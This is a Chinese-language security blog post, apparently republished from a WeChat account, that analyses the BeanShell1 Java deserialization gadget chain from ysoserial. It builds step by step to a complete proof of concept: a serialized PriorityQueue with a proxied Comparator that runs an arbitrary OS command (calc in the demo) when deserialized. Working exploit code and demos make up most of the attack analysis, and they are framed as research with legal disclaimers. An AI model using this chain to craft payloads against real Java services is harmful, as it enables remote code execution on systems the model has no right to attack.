JAVA 安全 | BeanShell1 反序列化链分析

admin 2025年5月5日23:29:02评论3 views字数 6451阅读21分30秒阅读模式

BeanShell1 反序列化链分析

  • 代码执行 Demo
    • 回调函数调用
  • 链路分析
    • 危险方法
    • 链式调用
    • 链路开端 -> readObject

BeanShell1          @pwntester, @cschneider4711            bsh:2.0b5

仍然是 RCE 链, pom.xml配置引入:

<dependency>
<groupId>org.beanshell</groupId>
<artifactId>bsh</artifactId>
<version>2.0b5</version>
</dependency>

链子泄露 ID 问题: https://mp.weixin.qq.com/s/CQ-jlcb3w72OP5UyGynMHg, 比较有意思, 先记录下来.

声明:文中涉及到的技术和工具,仅供学习使用,禁止从事任何非法活动,如因此造成的直接或间接损失,均由使用者自行承担责任。

代码执行 Demo

BeanShell执行 标准Java语句和表达式,另外包括一些脚本命令和语法。它将脚本化对象看作简单闭包方法(simple method closure)来支持,就如同在Perl和JavaScript中的一样。

以下是正常使用 BeanShell 进行代码执行的案例, 如下:

package com.heihu577;

import bsh.Interpreter;

publicclassDemo01{
publicstaticvoidmain(String[] args)throws Exception {
        Interpreter interpreter = new Interpreter();
        interpreter.eval("String data = "Hello~"; System.out.println(data);");
// interpreter.eval("print("Hello")"); 除了以上格式, 该格式也可以进行解析.
    }
}

运行命令行输出Hello~. 而对于BeanShell的未授权访问漏洞在公网有公开的案例: https://blog.csdn.net/Aaron_Miller/article/details/117532916, 实际上这是因为一个 BshServlet 的配置导致的, 具体可以参考: http://www.beanshell.org/manual/bshmanual.html#Deploying_BshServlet

当然关于 BeanShell 的更多介绍以及 API, 都在官方手册中: http://www.beanshell.org/manual/bshmanual.html

以及查询到一篇关于 BeanShell 在开发人员手中的用法文档: https://www.cnblogs.com/crstyl/p/14485017.html

回调函数调用

当然除了上述环境以外, 依旧可以通过该组件进行创建回调函数 & 调用回调函数, 具体案例如下:

Interpreter interpreter = new Interpreter();
interpreter.eval("test(String a){Runtime.getRuntime().exec(a);}");
interpreter.eval("test("calc")");

而除了直接调用形式以外, 也可以使用另一种调用形式:

JAVA 安全 | BeanShell1 反序列化链分析

在 ysoserial 中也可以看到对 XThis 以及 invokeMethod 方法的使用:

JAVA 安全 | BeanShell1 反序列化链分析

具体什么含义后续再进行分析, 接下来看一下使用XThis调用回调函数案例:

Interpreter interpreter = new Interpreter();
interpreter.eval("test(String a){Runtime.getRuntime().exec(a);}");
XThis xt = new XThis(interpreter.getNameSpace(), interpreter);
xt.invokeMethod("test"new Object[]{"calc"});

运行即可弹出计算器.

链路分析

由于涉及到底层的匿名方法解析, 这并不是我们关注的点, 所以在本文中进行抛弃处理, 只关注链路产生的核心机制. 想要查看核心调用过程 (当然也没有方法解析机制)可以转移到: https://mp.weixin.qq.com/s/jhEafGPuPzrwzaMGSLkVDA

危险方法

当然以下分析链路中的所有类都实现了 Serializable 接口, 这毋庸置疑.

正向分析调用机制

实际上这条链路需要通过上述XThis类进行分析, 笔者在这里先分析正向调用匿名函数的处理过程, 后续再分析链路是如何产生的, 首先进行Debugger查看核心调用机制是什么:

JAVA 安全 | BeanShell1 反序列化链分析

实际上问题出在XThis的子类ThisinvokeMethod方法中, 该方法中会拿到XThis::namespace属性, 调用getMethod进行拿到回调函数封装为BshMethod类, 随后调用其invoke方法即可成功执行匿名函数.

当然, 这是这条链路的核心机制为: This对象.invokeMethod(可控,可控)

其他的一些代码块都是在解析匿名方法后分析语法等操作, 代码比较混乱且复杂就不分析了 (当然也脱离了链路本身的原理). 若想分析调用栈等其他代码块的调用原理可将断点下在Reflect::invokeMethod方法, 具体行数在134行, 如下:

JAVA 安全 | BeanShell1 反序列化链分析

危险方法模拟调用

刚才我们聊过了, This对象.invokeMethod(可控,可控)是这条链路的核心, 那么在XThis类中, 存在如下调用:

JAVA 安全 | BeanShell1 反序列化链分析

从中我们可以发现的是, XThis::invocationHandler成员属性是一个动态代理对象, 当调用到该动态代理对象的任意方法时, 最终会调用到This::invokeMethod(可控,可控)进行处理.

那么我们只需通过反射将XThis::invocationHandler成员属性提取, 而由于它是一个InvocationHandler, 则需要手动使用Proxy.newProxyInstance进行生成基于XThis::invocationHandler的动态代理对象即可手动调用其方法即可模拟RCE, 那么我们首先定义一个存在test(String a)的类描述符:

package com.heihu577;

publicinterfaceTesterInterface{
voidtest(String a);
}

随后通过动态代理调用TesterInterface::test从而调用到我们匿名函数中所定义的test方法:

publicclassDemo01{
publicstaticvoidmain(String[] args)throws Exception {
        Interpreter interpreter = new Interpreter();
        interpreter.eval("test(String a){Runtime.getRuntime().exec(a);}");
        XThis xt = new XThis(interpreter.getNameSpace(), interpreter);
// xt.invokeMethod("test", new Object[]{"calc"});
        InvocationHandler invocationHandler =
                (InvocationHandler) getField(xt.getClass(), "invocationHandler").get(xt);

        TesterInterface ti = (TesterInterface) Proxy.newProxyInstance(Demo01.class.getClassLoader(),
newClass[]
{TesterInterface.class}, invocationHandler)// 接口中存在test(String)方法才可以
        ti.test("calc");
    }

publicstatic Field getField(Class clazz, String fieldName)throws Exception {
        Field declaredField = clazz.getDeclaredField(fieldName);
        declaredField.setAccessible(true);
return declaredField;
    }
}

运行即可弹出计算器.

链式调用

这里的链式调用比较随性, 刚刚我们使用的TesterInterface进行举例, 那么现在我们只需要挑选一个受害机JDK环境存在的公共类即可, ysoserial 使用的是Comparator接口当作链式调用, 它的类定义如下:

publicinterfaceComparator<T{
intcompare(T o1, T o2);
// ...
}

那么触发链路的POC则变为了如下:

publicclassDemo01{
publicstaticvoidmain(String[] args)throws Exception {
        Interpreter interpreter = new Interpreter();
        interpreter.eval("compare(Object a,Object b){Runtime.getRuntime().exec(a);return 0;}");
// Comparator接口中存在compare, 那么这里必须实现compare方法
        XThis xt = new XThis(interpreter.getNameSpace(), interpreter);
        InvocationHandler invocationHandler =
                (InvocationHandler) getField(xt.getClass(), "invocationHandler").get(xt);
        Comparator ti = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(),
newClass[]
{Comparator.class}, invocationHandler);
// 使用 Comparator 接口
        ti.compare("calc"null);
    }

publicstatic Field getField(Class clazz, String fieldName)throws Exception {
        Field declaredField = clazz.getDeclaredField(fieldName);
        declaredField.setAccessible(true);
return declaredField;
    }
}

运行即可弹出计算器.

链路开端 -> readObject

接下来就比较容易了, 只需要找到谁调用了compare方法, 并且参数可控即可, 而之前做CC链时, 刚好存在一个PriorityQueue::readObject方法, 它在其中调用了compare, 那么构造 POC 如下:

package com.heihu577;

import bsh.Interpreter;
import bsh.XThis;

import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Comparator;
import java.util.PriorityQueue;

publicclassDemo01{
publicstaticvoidmain(String[] args)throws Exception {
        String cmd = "calc";
        Interpreter interpreter = new Interpreter();
        interpreter.eval("compare(Object a,Object b){new java.lang.ProcessBuilder(new String[]{"" + cmd + ""}).start();return 0;}");
// Comparator接口中存在compare, 那么这里必须实现compare方法
        XThis xt = new XThis(interpreter.getNameSpace(), interpreter);
        InvocationHandler invocationHandler =
                (InvocationHandler) getField(xt.getClass(), "invocationHandler").get(xt);
        Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(),
newClass[]
{Comparator.class}, invocationHandler)// 使用 Comparator 接口
        PriorityQueue priorityQueue = new PriorityQueue(2, comparator);
        Field size = getField(priorityQueue.getClass(), "size");
        priorityQueue.add("heihu577");
        size.set(priorityQueue, 0); // 通过修改 size, 防止 add 方法调用到链路
        priorityQueue.add(cmd); // 将可控的 templates 传入, 调用则弹计算器
        size.set(priorityQueue, 2); // 将 size 改回正常的, 防止反序列化时进入不了链路

        serialize(priorityQueue);
        unserialize();
    }

publicstatic Field getField(Class clazz, String fieldName)throws Exception {
        Field declaredField = clazz.getDeclaredField(fieldName);
        declaredField.setAccessible(true);
return declaredField;
    }

publicstaticvoidserialize(Object o)throws IOException {
new ObjectOutputStream(new FileOutputStream("./data.ser")).writeObject(o);
    }

publicstaticvoidunserialize()throws Exception {
new ObjectInputStream(new FileInputStream("./data.ser")).readObject();
    }
}

这里有个小坑点, 不能使用Runtime.getRuntime().exec进行调用, 可能是解析问题, 但脱离了链子原本的原理, 暂时先放下了.

原文始发于微信公众号(Heihu Share):JAVA 安全 | BeanShell1 反序列化链分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月5日23:29:02
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   JAVA 安全 | BeanShell1 反序列化链分析https://cn-sec.com/archives/4027901.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息